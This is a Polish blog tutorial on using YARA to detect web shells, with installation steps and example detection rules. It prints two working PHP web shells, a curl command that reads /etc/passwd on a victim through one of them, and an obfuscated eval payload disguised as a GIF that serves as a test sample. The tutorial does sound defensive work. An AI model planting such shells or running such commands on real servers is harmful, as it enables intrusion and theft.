NFsec Logo

YARA – Mały myśliwy Web Shell(i)

16/05/2017 w Ataki Internetowe, Bezpieczeństwo Brak komentarzy.  (artykuł nr 609, ilość słów: 961)

Y

ARA jest narzędziem, które jest ukierunkowane (lecz nie ograniczone tylko do tego) na pomoc badaczom w identyfikacji i klasyfikacji próbek szkodliwego oprogramowania. Przy jego użyciu możemy w prosty sposób stworzyć opisy dowolnych obiektów za pomocą tekstowych oraz binarnych wzorców. Każdy taki opis aka reguła składa się z zestawu łańcucha/ów znaków i wyrażeń logicznych, które determinują logikę reguły.

Przykład:

rule nfsec_worm
{
    meta:
        description = "Harmless NFsec Worm"
        defconlevel = "10"
    strings:
        $a = "{ 6A 40 68 00 30 00 00 6A 14 8D 91 }
        $b = "{ Security is our right - Hacking is our left }"
    condition:
        $a or $b
}

Powyższa reguła instruuje program YARA, aby zaraportowała każdy plik zawierający jeden z dwóch powyższych ciągów jako nfsec_worm. Jest to bardzo prosty przykład – bardziej skomplikowane i skuteczne możemy stworzyć za pomocą wieloznaczników, ciągów znaków niewrażliwych na wielkość liter, wyrażeń regularnych, operatorów oraz innych funkcji, których opis i przykłady znajdziemy w dokumentacji. Nas akurat będzie interesować wykrywanie szkodliwego fragmentu kodu, który wstrzyknięty do poprawnego, ale podatnego kodu strony internetowej powoduje, że atakujący jest w stanie: edytować, usuwać, pobierać lub wrzucać dowolny plik z i do zaatakowanej strony. Daje mu to również możliwość wykonywania poleceń z poziomu powłoki lub serwera MySQL. Web shelle, bo o nich mowa to nic innego, jak tylne furtki z interfejsem obsługiwanym z poziomu przeglądarki. Działają one wyłącznie na poziomie strony web (w dodatku muszą być napisane w tym samym języku, który obsługuje atakowany serwer WWW) i nie oferują komunikacji przez gniazda sieciowe, jak to ma miejsce w przypadku powłok zwrotnych, w których to serwer łączy się z programem atakującego. Dlatego webshelle są takie proste w użyciu i szybko konfigurowalne.

Najczęściej umieszcza się je poprzez takie podatności, jak Unrestricted / Arbitrary File Upload lub Remote File Inclusion. Jeśli nasza aplikacja internetowa cierpi na tego typu przypadłość atakujący może wykorzystać ten fakt i umieścić na naszym serwerze webshella, a następnie wywołać go z poziomu przeglądarki i otrzymać interfejs do wydawania poleceń na naszym systemie. Na szczęście wszystkie polecenia wydane przez niego będą uruchamiane z prawami użytkownika, z którymi został uruchomiony interpreter danego języka. Na przykład w przypadku PHP najczęściej będzie to użytkownik www-data. Dlatego na wgraniu prostego webshella nigdy się nie kończy. Zazwyczaj jest to pierwszy proces eksploracji, który kontynuowany jest poprzez różnego rodzaju czynności (np. ściąganie i odpalanie eksploitów) mające doprowadzić do podniesienia poziomu uprawnień. Poniżej znajduje się przykład bardzo prostego webshella w języku PHP:

<?php
if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
}
?>

Po umieszczeniu go na atakowanym serwerze wystarczy jego poprawne wywołanie, aby uzyskać np. zawartość pliku /etc/passwd:

curl -XGET http://ofiara.pl/webshell.php?cmd=cat+/etc/passwd

Parametr cmd przyjmuje polecenie, które zostanie uruchomione na systemie, a jego wynik zostanie zwrócony w przeglądarce atakującego. Metoda HTTP GET nie jest jedyną drogą do wysyłania poleceń. Atakujący może wykorzystać metody POST, pliki COOKIE lub nawet spreparowane nagłówki HTTP:

<?php passthru(getenv("HTTP_ACCEPT_LANGUAGE")); echo '<br> by q1w2e3r4'; ?>

Przykłady bardzo prosto znaleźć dla dowolnego języka programowania. Powyższe dwa webshelle mają nikłe szanse na powodzenie, ponieważ w przypadku języka PHP bardzo często w sekcji disable_functions definiuje się funkcje: system oraz passthru.

Powróćmy jednak do YARA. Proces instalacji w systemie Linux Ubuntu 16.04 LTS jest dość prosty:

mkdir /opt/yara-3.6.0
ln -s /opt/yara-3.6.0 /opt/yara
apt install build-essential dh-autoreconf libssl-dev -y
wget 'https://github.com/VirusTotal/yara/archive/v3.6.0.tar.gz'
tar -xvf v3.6.0.tar.gz
cd yara-3.6.0
./bootstrap.sh
./configure --prefix=/opt/yara
make
make check
make install

Po instalacji powinniśmy zaopatrzyć się w pliki z regułami już istniejących webshelli. Większość z nich znajduje się na githubie:

cd /opt/yara
git clone https://github.com/Yara-Rules/rules.git
cat /opt/yara/rules/Webshells/*.yar >> /opt/yara/rules/Webshells/all.yar
/opt/yara/bin/yarac /opt/yara/rules/Webshells/all.yar /opt/yara/rules/Webshells/all.compiled

Ostatnie polecenie kompiluje nam zebrane reguły, co powoduje szybsze działanie programu (YARA nie musi robić tego w locie). W przypadku dodania nowych reguł wystarczy proces ten powtórzyć. Sprawdźmy teraz działanie naszego skanera i przeszukajmy kod naszej strony:

/opt/yara/bin/yara /opt/yara/rules/Webshells/all.compiled -r /var/www

Na szczęście nic nie zostało znalezione. Sprowokujmy zatem sztuczny alarm. Do nowego pliku /var/www/webshell.php dodajmy zaciemniony kod, który w dodatku “udaje” plik graficzny .gif.

GIF89GHZ
<?php eval (gzinflate(base64_decode(str_rot13("ML/EF8ZjRZnsUrk/hV
/iih+BI40TaSguWq98TXxc4k0pOiufqT+K7WvibboK8kxCfTyZ6IddrWcAV5mKhyA
DT6ZEPUoIKJWkYyewYRFaJxt+epn6S0qs39+umDuTfsEJnSmd3HRWTkCv/WgX54K4
sK552h1khNHKr2lIXpZOhYvSs2VHZh8O8oKbPibYUutxFLYKpCY20l8=")))); ?>

root@darkstar:~# file /var/www/webshell.php
/var/www/webshell.php: GIF image data 23112 x 15370

Na podstawie kodu źródłowego opisujemy naszego webshella jako regułę YARA:

rule fake_gif_webshell
{
  meta:
    description = "Fake GIF webshell"
    family = "PHP.Obfuscated"
    filetype = "PHP"
    id = "31337"
  strings:
    $obf = /eval[\( \t]+((base64_decode[\( \t]+)|(str_rot13[\( \t]+)|(gzinflate[\( \t]+))+/
  condition:
    all of them
}

Testujmy działanie nowej reguły:

/opt/yara/bin/yara -m test.yar -r /var/www

Jako wynik polecenia powinna pojawić się informacja o nowym znalezisku:

fake_gif_webshell [ description="Fake GIF webshell",
family="PHP.Obfuscated", filetype="PHP",
id="31337" ] /var/www/webshell.php

Analogicznie jesteśmy w stanie opisywać pliki binarne wyciągając z nich ciągi znaków np. za pomocą polecenia strings (strings /bin/cat). Możemy także wspomóc się generatorem reguł online. W dodatku YARA może zostać zintegrowana z skryptami napisanymi w języku Python, co daje nam jeszcze szersze pole manewru, jeśli chodzi o interpretację wyników lub integrację z innymi systemami do skanowania i powiadamiania o wykrytych zagrożeniach.

Więcej informacji: Webshells – Every Time the Same Purpose – Part 1, Part 2, Part 3 & Part 4, Hunting for Web Shells, yarAnalyzer

Kategorie K a t e g o r i e : Ataki Internetowe, Bezpieczeństwo

Tagi T a g i : , , , , , ,

Komentowanie tego wpisu jest zablokowane.